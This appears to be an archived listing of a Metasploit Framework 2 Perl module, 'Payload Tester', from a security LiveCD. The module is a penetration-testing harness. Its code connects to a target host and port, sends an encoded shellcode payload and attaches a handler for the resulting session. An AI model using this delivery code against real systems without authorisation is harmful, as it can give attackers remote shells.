home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / Tester.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  89 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::Tester;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18. {
  19.     'Name'      => 'Payload Tester',
  20.     'Version'   => '$Revision: 1.19 $',
  21.     'Authors'   => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.     'Arch'      => [ 'x86' ],
  23.     'OS'        => [ 'bsd', 'bsdi', 'linux', 'win32' ],
  24.     'Priv'      => 1,
  25.     'UserOpts'  => 
  26.                 {
  27.                     'RHOST' => [1, 'ADDR', 'The target address'],
  28.                     'RPORT' => [1, 'PORT', 'The target port', 5432],
  29.                 },
  30.     'Payload'   => 
  31.          { 
  32.             'Space'  => 1000, 
  33.             MaxNops => 0,
  34.              'Keys' => [ '+findsock', '+ws2ord' ],
  35.         },
  36.     
  37.     'Description' => Pex::Text::Freeform(qq{
  38. This exploit is used to test payloads.
  39.     }),
  40.  
  41.     'Refs'  => [ ],
  42.     'DefaultTarget' => 0,
  43.     'Targets' => [['Default Target']],
  44. };
  45.  
  46. sub new {
  47.   my $class = shift;
  48.   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  49.   return($self);
  50. }
  51.  
  52. sub Loadable {
  53.   my $self = shift;
  54.   return($self->GetVar('_MsfPayload') || $self->DebugLevel > 0);
  55. }
  56.  
  57. sub Exploit {
  58.     my $self = shift;
  59.     my $target_host = $self->GetVar('RHOST');
  60.     my $target_port = $self->GetVar('RPORT');
  61.   
  62.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  63.  
  64.     my $request = $shellcode;
  65.     my $s = Msf::Socket::Tcp->new
  66.     (
  67.         'PeerAddr' => $target_host, 
  68.         'PeerPort' => $target_port, 
  69.         'LocalPort' => $self->GetVar('CPORT'),
  70.     );
  71.     if ($s->IsError) {
  72.       $self->PrintLine('[*] Socket $idx: Error creating socket: ' . $s->GetError);
  73.       return;
  74.     }    
  75.    
  76.  
  77.     $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
  78.     $s->Send($request);
  79.  
  80.      $self->Handler($s);
  81.  
  82.     $self->PrintLine("[*] Waiting for a response...");
  83.     my $r = $s->Recv(-1, 5);
  84.  
  85.     sleep(2);
  86.     return;
  87. }
  88.  
  89.